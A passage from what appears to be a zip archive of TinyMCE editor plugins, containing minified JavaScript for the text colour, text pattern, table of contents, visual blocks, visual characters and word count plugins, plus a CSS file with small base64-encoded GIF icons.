color");o+="</tr>"}return
o+="</tbody></table>"}function
i(t,n){e.undoManager.transact(function(){e.focus(),e.formatter.apply(t,{value:n}),e.nodeChanged()})}function
o(t){e.undoManager.transact(function(){e.focus(),e.formatter.remove(t,{value:null},null,!0),e.nodeChanged()})}function
a(n){function r(e){d.hidePanel(),d.color(e),i(d.settings.format,e)}function
a(){d.hidePanel(),d.resetColor(),o(d.settings.format)}function
s(e,t){e.style.background=t,e.setAttribute("data-mce-color",t)}var
c,u,d=this.parent();u=d.settings.origin,tinymce.DOM.getParent(n.target,".mce-custom-color-btn")&&(d.hidePanel(),e.settings.color_picker_callback.call(e,function(e){var
t,n,i,o=d.panel.getEl().getElementsByTagName("table")[0];for(t=tinymce.map(o.rows[o.rows.length-1].childNodes,function(e){return
e.firstChild}),i=0;i<t.length&&(n=t[i],n.getAttribute("data-mce-color"));i++);if(i==l[u])for(i=0;i<l[u]-1;i++)s(t[i],t[i+1].getAttribute("data-mce-color"));s(n,e),r(e)},t(d.settings.format))),c=n.target.getAttribute("data-mce-color"),c?(this.lastId&&document.getElementById(this.lastId).setAttribute("aria-selected",!1),n.target.setAttribute("aria-selected",!0),this.lastId=n.target.id,"transparent"==c?a():r(c)):null!==c&&d.hidePanel()}function
s(){var
e=this;e._color?i(e.settings.format,e._color):o(e.settings.format)}var
l,c;c={forecolor:e.settings.forecolor_rows||e.settings.textcolor_rows||5,backcolor:e.settings.backcolor_rows||e.settings.textcolor_rows||5},l={forecolor:e.settings.forecolor_cols||e.settings.textcolor_cols||8,backcolor:e.settings.backcolor_cols||e.settings.textcolor_cols||8},e.addButton("forecolor",{type:"colorbutton",tooltip:"Text
color",format:"forecolor",panel:{origin:"forecolor",role:"application",ariaRemember:!0,html:r,onclick:a},onclick:s}),e.addButton("backcolor",{type:"colorbutton",tooltip:"Background
color",format:"hilitecolor",panel:{origin:"backcolor",role:"application",ariaRemember:!0,html:r,onclick:a},onclick:s})});PKV��[�cof�
�
)tinymce/plugins/textpattern/plugin.min.jsnu�[���tinymce.PluginManager.add("textpattern",function(e){function
t(){return c&&(l.sort(function(e,t){return
e.start.length>t.start.length?-1:e.start.length<t.start.length?1:0}),c=!1),l}function
n(e){for(var
n=t(),r=0;r<n.length;r++)if(0===e.indexOf(n[r].start)&&(!n[r].end||e.lastIndexOf(n[r].end)==e.length-n[r].end.length))return
n[r]}function r(e,n,r){var
i,o,a;for(i=t(),a=0;a<i.length;a++)if(o=i[a],o.end&&e.substr(n-o.end.length-r,o.end.length)==o.end)return
o}function i(t){function
i(){l=l.splitText(u),l.splitText(c-u-m),l.deleteData(0,p.start.length),l.deleteData(l.data.length-p.end.length,p.end.length)}var
o,a,s,l,c,u,d,f,p,m,g;if(o=e.selection,a=e.dom,o.isCollapsed()&&(s=o.getRng(!0),l=s.startContainer,c=s.startOffset,d=l.data,m=t?1:0,3==l.nodeType&&(p=r(d,c,m),p&&(u=Math.max(0,c-m),u=d.lastIndexOf(p.start,u-p.end.length-1),u!==-1&&(f=a.createRng(),f.setStart(l,u),f.setEnd(l,c-m),p=n(f.toString()),p&&p.end&&!(l.data.length<=p.start.length+p.end.length))))))return
g=e.formatter.get(p.format),g&&g[0].inline?(i(),e.formatter.apply(p.format,{},l),l):void
0}function o(){var
t,r,i,o,a,s,l,c,u,d,f;if(t=e.selection,r=e.dom,t.isCollapsed()&&(l=r.getParent(t.getStart(),"p"))){for(u=new
tinymce.dom.TreeWalker(l,l);a=u.next();)if(3==a.nodeType){o=a;break}if(o){if(c=n(o.data),!c)return;if(d=t.getRng(!0),i=d.startContainer,f=d.startOffset,o==i&&(f=Math.max(0,f-c.start.length)),tinymce.trim(o.data).length==c.start.length)return;c.format&&(s=e.formatter.get(c.format),s&&s[0].block&&(o.deleteData(0,c.start.length),e.formatter.apply(c.format,{},o),d.setStart(i,f),d.collapse(!0),t.setRng(d))),c.cmd&&e.undoManager.transact(function(){o.deleteData(0,c.start.length),e.execCommand(c.cmd)})}}}function
a(){var
t,n;n=i(),n&&(t=e.dom.createRng(),t.setStart(n,n.data.length),t.setEnd(n,n.data.length),e.selection.setRng(t)),o()}function
s(){var t,n,r,o,a;t=i(!0),t&&(a=e.dom,n=t.data.slice(-1),/[\u00a0
]/.test(n)&&(t.deleteData(t.data.length-1,1),r=a.doc.createTextNode(n),t.nextSibling?a.insertAfter(r,t.nextSibling):t.parentNode.appendChild(r),o=a.createRng(),o.setStart(r,1),o.setEnd(r,1),e.selection.setRng(o)))}var
l,c=!0;l=e.settings.textpattern_patterns||[{start:"*",end:"*",format:"italic"},{start:"**",end:"**",format:"bold"},{start:"#",format:"h1"},{start:"##",format:"h2"},{start:"###",format:"h3"},{start:"####",format:"h4"},{start:"#####",format:"h5"},{start:"######",format:"h6"},{start:"1.
",cmd:"InsertOrderedList"},{start:"*
",cmd:"InsertUnorderedList"},{start:"-
",cmd:"InsertUnorderedList"}],e.on("keydown",function(e){13!=e.keyCode||tinymce.util.VK.modifierPressed(e)||a()},!0),e.on("keyup",function(e){32!=e.keyCode||tinymce.util.VK.modifierPressed(e)||s()}),this.getPatterns=t,this.setPatterns=function(e){l=e,c=!0}});PKV��[�}��
�
!tinymce/plugins/toc/plugin.min.jsnu�[���tinymce.PluginManager.add("toc",function(e){function
t(t){return e.schema.isValidChild("div",t)}function n(t){return
t&&e.dom.is(t,"."+d.className)&&e.getBody().contains(t)}function
r(){var t=this;t.disabled(e.readonly||!o()),e.on("LoadContent
SetContent change",function(){t.disabled(e.readonly||!o())})}function
i(e){var t,n=[];for(t=1;t<=e;t++)n.push("h"+t);return
n.join(",")}function o(){return!(!d||!a(d).length)}function
a(t){var n=i(t.depth),r=f(n);return
r.length&&/^h[1-9]$/i.test(t.headerTag)&&(r=r.filter(function(n,r){return!e.dom.hasClass(r.parentNode,t.className)})),tinymce.map(r,function(e){return
e.id||(e.id=g()),{id:e.id,level:parseInt(e.nodeName.replace(/^H/i,""),10),title:f.text(e)}})}function
s(e){var
t,n=9;for(t=0;t<e.length;t++)if(e[t].level<n&&(n=e[t].level),1==n)return
n;return n}function l(t,n){var r="<"+t+'
contenteditable="true">',i="</"+t+">";return
r+e.dom.encode(n)+i}function c(e){var t=u(e);return'<div
class="'+e.className+'"
contenteditable="false">'+t+"</div>"}function
u(e){var
t,n,r,i,o="",c=a(e),u=s(c)-1;if(!c.length)return"";for(o+=l(e.headerTag,tinymce.translate("Table
of
Contents")),t=0;t<c.length;t++){if(r=c[t],i=c[t+1]&&c[t+1].level,u===r.level)o+="<li>";else
for(n=u;n<r.level;n++)o+="<ul><li>";if(o+='<a
href="#'+r.id+'">'+r.title+"</a>",i!==r.level&&i)for(n=r.level;n>i;n--)o+="</li></ul><li>";else
o+="</li>",i||(o+="</ul>");u=r.level}return
o}var
d,f=e.$,p={depth:3,headerTag:"h2",className:"mce-toc"},m=function(e){var
t=0;return function(){var n=(new Date).getTime().toString(32);return
e+n+(t++).toString(32)}},g=m("mcetoc_");e.on("PreInit",function(){var
n=e.settings,r=parseInt(n.toc_depth,10)||0;d={depth:r>=1&&r<=9?r:p.depth,headerTag:t(n.toc_header)?n.toc_header:p.headerTag,className:n.toc_class?e.dom.encode(n.toc_class):p.className}}),e.on("PreProcess",function(e){var
t=f("."+d.className,e.node);t.length&&(t.removeAttr("contentEditable"),t.find("[contenteditable]").removeAttr("contentEditable"))}),e.on("SetContent",function(){var
e=f("."+d.className);e.length&&(e.attr("contentEditable",!1),e.children(":first-child").attr("contentEditable",!0))});var
h=function(t){return!t.length||e.dom.getParents(t[0],".mce-offscreen-selection").length>0};e.addCommand("mceInsertToc",function(){var
t=f("."+d.className);h(t)?e.insertContent(c(d)):e.execCommand("mceUpdateToc")}),e.addCommand("mceUpdateToc",function(){var
t=f("."+d.className);t.length&&e.undoManager.transact(function(){t.html(u(d))})}),e.addButton("toc",{tooltip:"Table
of
Contents",cmd:"mceInsertToc",icon:"toc",onPostRender:r}),e.addButton("tocupdate",{tooltip:"Update",cmd:"mceUpdateToc",icon:"reload"}),e.addContextToolbar(n,"tocupdate"),e.addMenuItem("toc",{text:"Table
of
Contents",context:"insert",cmd:"mceInsertToc",onPostRender:r})});PKV��[���O��1tinymce/plugins/visualblocks/css/visualblocks.cssnu�[���.mce-visualblocks
p {
	padding-top: 10px;
	border: 1px dashed #BBB;
	margin-left: 3px;
	background: transparent no-repeat
url(data:image/gif;base64,R0lGODlhCQAJAJEAAAAAAP///7u7u////yH5BAEAAAMALAAAAAAJAAkAAAIQnG+CqCN/mlyvsRUpThG6AgA7);
}

.mce-visualblocks h1 {
	padding-top: 10px;
	border: 1px dashed #BBB;
	margin-left: 3px;
	background: transparent no-repeat
url(data:image/gif;base64,R0lGODlhDQAKAIABALu7u////yH5BAEAAAEALAAAAAANAAoAAAIXjI8GybGu1JuxHoAfRNRW3TWXyF2YiRUAOw==);
}

.mce-visualblocks h2 {
	padding-top: 10px;
	border: 1px dashed #BBB;
	margin-left: 3px;
	background: transparent no-repeat
url(data:image/gif;base64,R0lGODlhDgAKAIABALu7u////yH5BAEAAAEALAAAAAAOAAoAAAIajI8Hybbx4oOuqgTynJd6bGlWg3DkJzoaUAAAOw==);
}

.mce-visualblocks h3 {
	padding-top: 10px;
	border: 1px dashed #BBB;
	margin-left: 3px;
	background: transparent no-repeat
url(data:image/gif;base64,R0lGODlhDgAKAIABALu7u////yH5BAEAAAEALAAAAAAOAAoAAAIZjI8Hybbx4oOuqgTynJf2Ln2NOHpQpmhAAQA7);
}

.mce-visualblocks h4 {
	padding-top: 10px;
	border: 1px dashed #BBB;
	margin-left: 3px;
	background: transparent no-repeat
url(data:image/gif;base64,R0lGODlhDgAKAIABALu7u////yH5BAEAAAEALAAAAAAOAAoAAAIajI8HybbxInR0zqeAdhtJlXwV1oCll2HaWgAAOw==);
}

.mce-visualblocks h5 {
	padding-top: 10px;
	border: 1px dashed #BBB;
	margin-left: 3px;
	background: transparent no-repeat
url(data:image/gif;base64,R0lGODlhDgAKAIABALu7u////yH5BAEAAAEALAAAAAAOAAoAAAIajI8HybbxIoiuwjane4iq5GlW05GgIkIZUAAAOw==);
}

.mce-visualblocks h6 {
	padding-top: 10px;
	border: 1px dashed #BBB;
	margin-left: 3px;
	background: transparent no-repeat
url(data:image/gif;base64,R0lGODlhDgAKAIABALu7u////yH5BAEAAAEALAAAAAAOAAoAAAIajI8HybbxIoiuwjan04jep1iZ1XRlAo5bVgAAOw==);
}

.mce-visualblocks div:not([data-mce-bogus]) {
	padding-top: 10px;
	border: 1px dashed #BBB;
	margin-left: 3px;
	background: transparent no-repeat
url(data:image/gif;base64,R0lGODlhEgAKAIABALu7u////yH5BAEAAAEALAAAAAASAAoAAAIfjI9poI0cgDywrhuxfbrzDEbQM2Ei5aRjmoySW4pAAQA7);
}

.mce-visualblocks section {
	padding-top: 10px;
	border: 1px dashed #BBB;
	margin: 0 0 1em 3px;
	background: transparent no-repeat
url(data:image/gif;base64,R0lGODlhKAAKAIABALu7u////yH5BAEAAAEALAAAAAAoAAoAAAI5jI+pywcNY3sBWHdNrplytD2ellDeSVbp+GmWqaDqDMepc8t17Y4vBsK5hDyJMcI6KkuYU+jpjLoKADs=);
}

.mce-visualblocks article {
	padding-top: 10px;
	border: 1px dashed #BBB;
	margin: 0 0 1em 3px;
	background: transparent no-repeat
url(data:image/gif;base64,R0lGODlhKgAKAIABALu7u////yH5BAEAAAEALAAAAAAqAAoAAAI6jI+pywkNY3wG0GBvrsd2tXGYSGnfiF7ikpXemTpOiJScasYoDJJrjsG9gkCJ0ag6KhmaIe3pjDYBBQA7);
}

.mce-visualblocks blockquote {
	padding-top: 10px;
	border: 1px dashed #BBB;
	background: transparent no-repeat
url(data:image/gif;base64,R0lGODlhPgAKAIABALu7u////yH5BAEAAAEALAAAAAA+AAoAAAJPjI+py+0Knpz0xQDyuUhvfoGgIX5iSKZYgq5uNL5q69asZ8s5rrf0yZmpNkJZzFesBTu8TOlDVAabUyatguVhWduud3EyiUk45xhTTgMBBQA7);
}

.mce-visualblocks address {
	padding-top: 10px;
	border: 1px dashed #BBB;
	margin: 0 0 1em 3px;
	background: transparent no-repeat
url(data:image/gif;base64,R0lGODlhLQAKAIABALu7u////yH5BAEAAAEALAAAAAAtAAoAAAI/jI+pywwNozSP1gDyyZcjb3UaRpXkWaXmZW4OqKLhBmLs+K263DkJK7OJeifh7FicKD9A1/IpGdKkyFpNmCkAADs=);
}

.mce-visualblocks pre {
	padding-top: 10px;
	border: 1px dashed #BBB;
	margin-left: 3px;
	background: transparent no-repeat
url(data:image/gif;base64,R0lGODlhFQAKAIABALu7uwAAACH5BAEAAAEALAAAAAAVAAoAAAIjjI+ZoN0cgDwSmnpz1NCueYERhnibZVKLNnbOq8IvKpJtVQAAOw==);
}

.mce-visualblocks figure {
	padding-top: 10px;
	border: 1px dashed #BBB;
	margin: 0 0 1em 3px;
	background: transparent no-repeat
url(data:image/gif;base64,R0lGODlhJAAKAIAAALu7u////yH5BAEAAAEALAAAAAAkAAoAAAI0jI+py+2fwAHUSFvD3RlvG4HIp4nX5JFSpnZUJ6LlrM52OE7uSWosBHScgkSZj7dDKnWAAgA7);
}

.mce-visualblocks hgroup {
	padding-top: 10px;
	border: 1px dashed #BBB;
	margin: 0 0 1em 3px;
	background: transparent no-repeat
url(data:image/gif;base64,R0lGODlhJwAKAIABALu7uwAAACH5BAEAAAEALAAAAAAnAAoAAAI3jI+pywYNI3uB0gpsRtt5fFnfNZaVSYJil4Wo03Hv6Z62uOCgiXH1kZIIJ8NiIxRrAZNMZAtQAAA7);
}

.mce-visualblocks aside {
	padding-top: 10px;
	border: 1px dashed #BBB;
	margin: 0 0 1em 3px;
	background: transparent no-repeat
url(data:image/gif;base64,R0lGODlhHgAKAIABAKqqqv///yH5BAEAAAEALAAAAAAeAAoAAAItjI+pG8APjZOTzgtqy7I3f1yehmQcFY4WKZbqByutmW4aHUd6vfcVbgudgpYCADs=);
}

.mce-visualblocks figcaption {
	border: 1px dashed #BBB;
}

.mce-visualblocks ul {
	padding-top: 10px;
	border: 1px dashed #BBB;
	margin: 0 0 1em 3px;
	background: transparent no-repeat
url(data:image/gif;base64,R0lGODlhDQAKAIAAALu7u////yH5BAEAAAEALAAAAAANAAoAAAIXjI8GybGuYnqUVSjvw26DzzXiqIDlVwAAOw==)
}

.mce-visualblocks ol {
	padding-top: 10px;
	border: 1px dashed #BBB;
	margin: 0 0 1em 3px;
	background: transparent no-repeat
url(data:image/gif;base64,R0lGODlhDQAKAIABALu7u////yH5BAEAAAEALAAAAAANAAoAAAIXjI8GybH6HHt0qourxC6CvzXieHyeWQAAOw==);
}

.mce-visualblocks dl {
	padding-top: 10px;
	border: 1px dashed #BBB;
	margin: 0 0 1em 3px;
	background: transparent no-repeat
url(data:image/gif;base64,R0lGODlhDQAKAIABALu7u////yH5BAEAAAEALAAAAAANAAoAAAIXjI8GybEOnmOvUoWznTqeuEjNSCqeGRUAOw==);
}
PKV��[?���*tinymce/plugins/visualblocks/plugin.min.jsnu�[���tinymce.PluginManager.add("visualblocks",function(e,t){function
n(){var
t=this;t.active(o),e.on("VisualBlocks",function(){t.active(e.dom.hasClass(e.getBody(),"mce-visualblocks"))})}var
r,i,o;window.NodeList&&(e.addCommand("mceVisualBlocks",function(){var
n,a=e.dom;r||(r=a.uniqueId(),n=a.create("link",{id:r,rel:"stylesheet",href:t+"/css/visualblocks.css"}),e.getDoc().getElementsByTagName("head")[0].appendChild(n)),e.on("PreviewFormats
AfterPreviewFormats",function(t){o&&a.toggleClass(e.getBody(),"mce-visualblocks","afterpreviewformats"==t.type)}),a.toggleClass(e.getBody(),"mce-visualblocks"),o=e.dom.hasClass(e.getBody(),"mce-visualblocks"),i&&i.active(a.hasClass(e.getBody(),"mce-visualblocks")),e.fire("VisualBlocks")}),e.addButton("visualblocks",{title:"Show
blocks",cmd:"mceVisualBlocks",onPostRender:n}),e.addMenuItem("visualblocks",{text:"Show
blocks",cmd:"mceVisualBlocks",onPostRender:n,selectable:!0,context:"view",prependToContext:!0}),e.on("init",function(){e.settings.visualblocks_default_state&&e.execCommand("mceVisualBlocks",!1,null,{skip_focus:!0})}),e.on("remove",function(){e.dom.removeClass(e.getBody(),"mce-visualblocks")}))});PKV��[���)tinymce/plugins/visualchars/plugin.min.jsnu�[���tinymce.PluginManager.add("visualchars",function(e){function
t(t){function n(e){return'<span data-mce-bogus="1"
class="mce-'+p[e]+'">'+e+"</span>"}function
o(){var e,t="";for(e in p)t+=e;return new
RegExp("["+t+"]","g")}function a(){var
e,t="";for(e in
p)t&&(t+=","),t+="span.mce-"+p[e];return t}var
s,l,c,u,d,f,p,m,g=e.getBody(),h=e.selection;if(p={"\xa0":"nbsp","\xad":"shy"},r=!r,i.state=r,e.fire("VisualChars",{state:r}),m=o(),t&&(f=h.getBookmark()),r)for(l=[],tinymce.walk(g,function(e){3==e.nodeType&&e.nodeValue&&m.test(e.nodeValue)&&l.push(e)},"childNodes"),c=0;c<l.length;c++){for(u=e.dom.encode(l[c].nodeValue),u=u.replace(m,n),d=e.dom.create("div",null,u);s=d.lastChild;)e.dom.insertAfter(s,l[c]);e.dom.remove(l[c])}else
for(l=e.dom.select(a(),g),c=l.length-1;c>=0;c--)e.dom.remove(l[c],1);h.moveToBookmark(f)}function
n(){var
t=this;e.on("VisualChars",function(e){t.active(e.state)})}var
r,i=this;e.addCommand("mceVisualChars",t),e.addButton("visualchars",{title:"Show
invisible
characters",cmd:"mceVisualChars",onPostRender:n}),e.addMenuItem("visualchars",{text:"Show
invisible
characters",cmd:"mceVisualChars",onPostRender:n,selectable:!0,context:"view",prependToContext:!0})});PKV��[�`�.�.'tinymce/plugins/wordcount/plugin.min.jsnu�[���!function(){var
e={},t=function(t){for(var n=e[t],i=n.deps,o=n.defn,a=i.length,s=new
Array(a),l=0;l<a;++l)s[l]=r(i[l]);var c=o.apply(null,s);if(void
0===c)throw"module ["+t+"] returned
undefined";n.instance=c},n=function(t,n,r){if("string"!=typeof
t)throw"module id must be a string";if(void 0===n)throw"no
dependencies for "+t;if(void 0===r)throw"no definition function
for "+t;e[t]={deps:n,defn:r,instance:void 0}},r=function(n){var
r=e[n];if(void 0===r)throw"module ["+n+"] was
undefined";return void
0===r.instance&&t(n),r.instance},i=function(e,t){for(var
n=e.length,i=new
Array(n),o=0;o<n;++o)i[o]=r(e[o]);t.apply(null,i)},o={};o.bolt={module:{api:{define:n,require:i,demand:r}}};var
a=n,s=function(e,t){a(e,[],function(){return
t})};s("1",tinymce.PluginManager),s("2",tinymce.util.Delay),a("4",[],function(){var
e={aletter:"[A-Za-z\xaa\xb5\xba\xc0-\xd6\xd8-\xf6\xf8-\u02c1\u02c6-\u02d1\u02e0-\u02e4\u02ec\u02ee\u0370-\u0374\u0376\u0377\u037a-\u037d\u0386\u0388-\u038a\u038c\u038e-\u03a1\u03a3-\u03f5\u03f7-\u0481\u048a-\u0527\u0531-\u0556\u0559\u0561-\u0587\u05d0-\u05ea\u05f0-\u05f3\u0620-\u064a\u066e\u066f\u0671-\u06d3\u06d5\u06e5\u06e6\u06ee\u06ef\u06fa-\u06fc\u06ff\u0710\u0712-\u072f\u074d-\u07a5\u07b1\u07ca-\u07ea\u07f4\u07f5\u07fa\u0800-\u0815\u081a\u0824\u0828\u0840-\u0858\u0904-\u0939\u093d\u0950\u0958-\u0961\u0971-\u0977\u0979-\u097f\u0985-\u098c\u098f\u0990\u0993-\u09a8\u09aa-\u09b0\u09b2\u09b6-\u09b9\u09bd\u09ce\u09dc\u09dd\u09df-\u09e1\u09f0\u09f1\u0a05-\u0a0a\u0a0f\u0a10\u0a13-\u0a28\u0a2a-\u0a30\u0a32\u0a33\u0a35\u0a36\u0a38\u0a39\u0a59-\u0a5c\u0a5e\u0a72-\u0a74\u0a85-\u0a8d\u0a8f-\u0a91\u0a93-\u0aa8\u0aaa-\u0ab0\u0ab2\u0ab3\u0ab5-\u0ab9\u0abd\u0ad0\u0ae0\u0ae1\u0b05-\u0b0c\u0b0f\u0b10\u0b13-\u0b28\u0b2a-\u0b30\u0b32\u0b33\u0b35-\u0b39\u0b3d\u0b5c\u0b5d\u0b5f-\u0b61\u0b71\u0b83\u0b85-\u0b8a\u0b8e-\u0b90\u0b92-\u0b95\u0b99\u0b9a\u0b9c\u0b9e\u0b9f\u0ba3\u0ba4\u0ba8-\u0baa\u0bae-\u0bb9\u0bd0\u0c05-\u0c0c\u0c0e-\u0c10\u0c12-\u0c28\u0c2a-\u0c33\u0c35-\u0c39\u0c3d\u0c58\u0c59\u0c60\u0c61\u0c85-\u0c8c\u0c8e-\u0c90\u0c92-\u0ca8\u0caa-\u0cb3\u0cb5-\u0cb9\u0cbd\u0cde\u0ce0\u0ce1\u0cf1\u0cf2\u0d05-\u0d0c\u0d0e-\u0d10\u0d12-\u0d3a\u0d3d\u0d4e\u0d60\u0d61\u0d7a-\u0d7f\u0d85-\u0d96\u0d9a-\u0db1\u0db3-\u0dbb\u0dbd\u0dc0-\u0dc6\u0f00\u0f40-\u0f47\u0f49-\u0f6c\u0f88-\u0f8c\u10a0-\u10c5\u10d0-\u10fa\u10fc\u1100-\u1248\u124a-\u124d\u1250-\u1256\u1258\u125a-\u125d\u1260-\u1288\u128a-\u128d\u1290-\u12b0\u12b2-\u12b5\u12b8-\u12be\u12c0\u12c2-\u12c5\u12c8-\u12d6\u12d8-\u1310\u1312-\u1315\u1318-\u135a\u1380-\u138f\u13a0-\u13f4\u1401-\u166c\u166f-\u167f\u1681-\u169a\u16a0-\u16ea\u16ee-\u16f0\u1700-\u170c\u170e-\u1711\u1720-\u1731\u1740-\u1751\u1760-\u176c\u176e-\u1770\u1820-\u1877\u1880-\u18a8\u18aa\u18b0-\u18f5\u1900-\u191c\u1a00-\u1a16\u1b05-\u1b33\u1b45-\u1b4b\u1b83-\u1ba0\u1bae\u1baf\u1bc0-\u1be5\u1c00-\u1c23\u1c4d-\u1c4f\u1c5a-\u1c7d\u1ce9-\u1cec\u1cee-\u1cf1\u1d00-\u1dbf\u1e00-\u1f15\u1f18-\u1f1d\u1f20-\u1f45\u1f48-\u1f4d\u1f50-\u1f57\u1f59\u1f5b\u1f5d\u1f5f-\u1f7d\u1f80-\u1fb4\u1fb6-\u1fbc\u1fbe\u1fc2-\u1fc4\u1fc6-\u1fcc\u1fd0-\u1fd3\u1fd6-\u1fdb\u1fe0-\u1fec\u1ff2-\u1ff4\u1ff6-\u1ffc\u2071\u207f\u2090-\u209c\u2102\u2107\u210a-\u2113\u2115\u2119-\u211d\u2124\u2126\u2128\u212a-\u212d\u212f-\u2139\u213c-\u213f\u2145-\u2149\u214e\u2160-\u2188\u24b6-\u24e9\u2c00-\u2c2e\u2c30-\u2c5e\u2c60-\u2ce4\u2ceb-\u2cee\u2d00-\u2d25\u2d30-\u2d65\u2d6f\u2d80-\u2d96\u2da0-\u2da6\u2da8-\u2dae\u2db0-\u2db6\u2db8-\u2dbe\u2dc0-\u2dc6\u2dc8-\u2dce\u2dd0-\u2dd6\u2dd8-\u2dde\u2e2f\u3005\u303b\u303c\u3105-\u312d\u3131-\u318e\u31a0-\u31ba\ua000-\ua48c\ua4d0-\ua4fd\ua500-\ua60c\ua610-\ua61f\ua62a\ua62b\ua640-\ua66e\ua67f-\ua697\ua6a0-\ua6ef\ua717-\ua71f\ua722-\ua788\ua78b-\ua78e\ua790\ua791\ua7a0-\ua7a9\ua7fa-\ua801\ua803-\ua805\ua807-\ua80a\ua80c-\ua822\ua840-\ua873\ua882-\ua8b3\ua8f2-\ua8f7\ua8fb\ua90a-\ua925\ua930-\ua946\ua960-\ua97c\ua984-\ua9b2\ua9cf\uaa00-\uaa28\uaa40-\uaa42\uaa44-\uaa4b\uab01-\uab06\uab09-\uab0e\uab11-\uab16\uab20-\uab26\uab28-\uab2e\uabc0-\uabe2\uac00-\ud7a3\ud7b0-\ud7c6\ud7cb-\ud7fb\ufb00-\ufb06\ufb13-\ufb17\ufb1d\ufb1f-\ufb28\ufb2a-\ufb36\ufb38-\ufb3c\ufb3e\ufb40\ufb41\ufb43\ufb44\ufb46-\ufbb1\ufbd3-\ufd3d\ufd50-\ufd8f\ufd92-\ufdc7\ufdf0-\ufdfb\ufe70-\ufe74\ufe76-\ufefc\uff21-\uff3a\uff41-\uff5a\uffa0-\uffbe\uffc2-\uffc7\uffca-\uffcf\uffd2-\uffd7\uffda-\uffdc]",midnumlet:"['\\.\u2018\u2019\u2024\ufe52\uff07\uff0e]",midletter:"[:\xb7\xb7\u05f4\u2027\ufe13\ufe55\uff1a]",midnum:"[,;;\u0589\u060c\u060d\u066c\u07f8\u2044\ufe10\ufe14\ufe50\ufe54\uff0c\uff1b]",numeric:"[0-9\u0660-\u0669\u066b\u06f0-\u06f9\u07c0-\u07c9\u0966-\u096f\u09e6-\u09ef\u0a66-\u0a6f\u0ae6-\u0aef\u0b66-\u0b6f\u0be6-\u0bef\u0c66-\u0c6f\u0ce6-\u0cef\u0d66-\u0d6f\u0e50-\u0e59\u0ed0-\u0ed9\u0f20-\u0f29\u1040-\u1049\u1090-\u1099\u17e0-\u17e9\u1810-\u1819\u1946-\u194f\u19d0-\u19d9\u1a80-\u1a89\u1a90-\u1a99\u1b50-\u1b59\u1bb0-\u1bb9\u1c40-\u1c49\u1c50-\u1c59\ua620-\ua629\ua8d0-\ua8d9\ua900-\ua909\ua9d0-\ua9d9\uaa50-\uaa59\uabf0-\uabf9]",cr:"\\r",lf:"\\n",newline:"[\x0B\f\x85\u2028\u2029]",extend:"[\u0300-\u036f\u0483-\u0489\u0591-\u05bd\u05bf\u05c1\u05c2\u05c4\u05c5\u05c7\u0610-\u061a\u064b-\u065f\u0670\u06d6-\u06dc\u06df-\u06e4\u06e7\u06e8\u06ea-\u06ed\u0711\u0730-\u074a\u07a6-\u07b0\u07eb-\u07f3\u0816-\u0819\u081b-\u0823\u0825-\u0827\u0829-\u082d\u0859-\u085b\u0900-\u0903\u093a-\u093c\u093e-\u094f\u0951-\u0957\u0962\u0963\u0981-\u0983\u09bc\u09be-\u09c4\u09c7\u09c8\u09cb-\u09cd\u09d7\u09e2\u09e3\u0a01-\u0a03\u0a3c\u0a3e-\u0a42\u0a47\u0a48\u0a4b-\u0a4d\u0a51\u0a70\u0a71\u0a75\u0a81-\u0a83\u0abc\u0abe-\u0ac5\u0ac7-\u0ac9\u0acb-\u0acd\u0ae2\u0ae3\u0b01-\u0b03\u0b3c\u0b3e-\u0b44\u0b47\u0b48\u0b4b-\u0b4d\u0b56\u0b57\u0b62\u0b63\u0b82\u0bbe-\u0bc2\u0bc6-\u0bc8\u0bca-\u0bcd\u0bd7\u0c01-\u0c03\u0c3e-\u0c44\u0c46-\u0c48\u0c4a-\u0c4d\u0c55\u0c56\u0c62\u0c63\u0c82\u0c83\u0cbc\u0cbe-\u0cc4\u0cc6-\u0cc8\u0cca-\u0ccd\u0cd5\u0cd6\u0ce2\u0ce3\u0d02\u0d03\u0d3e-\u0d44\u0d46-\u0d48\u0d4a-\u0d4d\u0d57\u0d62\u0d63\u0d82\u0d83\u0dca\u0dcf-\u0dd4\u0dd6\u0dd8-\u0ddf\u0df2\u0df3\u0e31\u0e34-\u0e3a\u0e47-\u0e4e\u0eb1\u0eb4-\u0eb9\u0ebb\u0ebc\u0ec8-\u0ecd\u0f18\u0f19\u0f35\u0f37\u0f39\u0f3e\u0f3f\u0f71-\u0f84\u0f86\u0f87\u0f8d-\u0f97\u0f99-\u0fbc\u0fc6\u102b-\u103e\u1056-\u1059\u105e-\u1060\u1062-\u1064\u1067-\u106d\u1071-\u1074\u1082-\u108d\u108f\u109a-\u109d\u135d-\u135f\u1712-\u1714\u1732-\u1734\u1752\u1753\u1772\u1773\u17b6-\u17d3\u17dd\u180b-\u180d\u18a9\u1920-\u192b\u1930-\u193b\u19b0-\u19c0\u19c8\u19c9\u1a17-\u1a1b\u1a55-\u1a5e\u1a60-\u1a7c\u1a7f\u1b00-\u1b04\u1b34-\u1b44\u1b6b-\u1b73\u1b80-\u1b82\u1ba1-\u1baa\u1be6-\u1bf3\u1c24-\u1c37\u1cd0-\u1cd2\u1cd4-\u1ce8\u1ced\u1cf2\u1dc0-\u1de6\u1dfc-\u1dff\u200c\u200d\u20d0-\u20f0\u2cef-\u2cf1\u2d7f\u2de0-\u2dff\u302a-\u302f\u3099\u309a\ua66f-\ua672\ua67c\ua67d\ua6f0\ua6f1\ua802\ua806\ua80b\ua823-\ua827\ua880\ua881\ua8b4-\ua8c4\ua8e0-\ua8f1\ua926-\ua92d\ua947-\ua953\ua980-\ua983\ua9b3-\ua9c0\uaa29-\uaa36\uaa43\uaa4c\uaa4d\uaa7b\uaab0\uaab2-\uaab4\uaab7\uaab8\uaabe\uaabf\uaac1\uabe3-\uabea\uabec\uabed\ufb1e\ufe00-\ufe0f\ufe20-\ufe26\uff9e\uff9f]",format:"[\xad\u0600-\u0603\u06dd\u070f\u17b4\u17b5\u200e\u200f\u202a-\u202e\u2060-\u2064\u206a-\u206f\ufeff\ufff9-\ufffb]",katakana:"[\u3031-\u3035\u309b\u309c\u30a0-\u30fa\u30fc-\u30ff\u31f0-\u31ff\u32d0-\u32fe\u3300-\u3357\uff66-\uff9d]",extendnumlet:"[_\u203f\u2040\u2054\ufe33\ufe34\ufe4d-\ufe4f\uff3f]",punctuation:"[!-#%-*,-\\/:;?@\\[-\\]_{}\xa1\xab\xb7\xbb\xbf;\xb7\u055a-\u055f\u0589\u058a\u05be\u05c0\u05c3\u05c6\u05f3\u05f4\u0609\u060a\u060c\u060d\u061b\u061e\u061f\u066a-\u066d\u06d4\u0700-\u070d\u07f7-\u07f9\u0830-\u083e\u085e\u0964\u0965\u0970\u0df4\u0e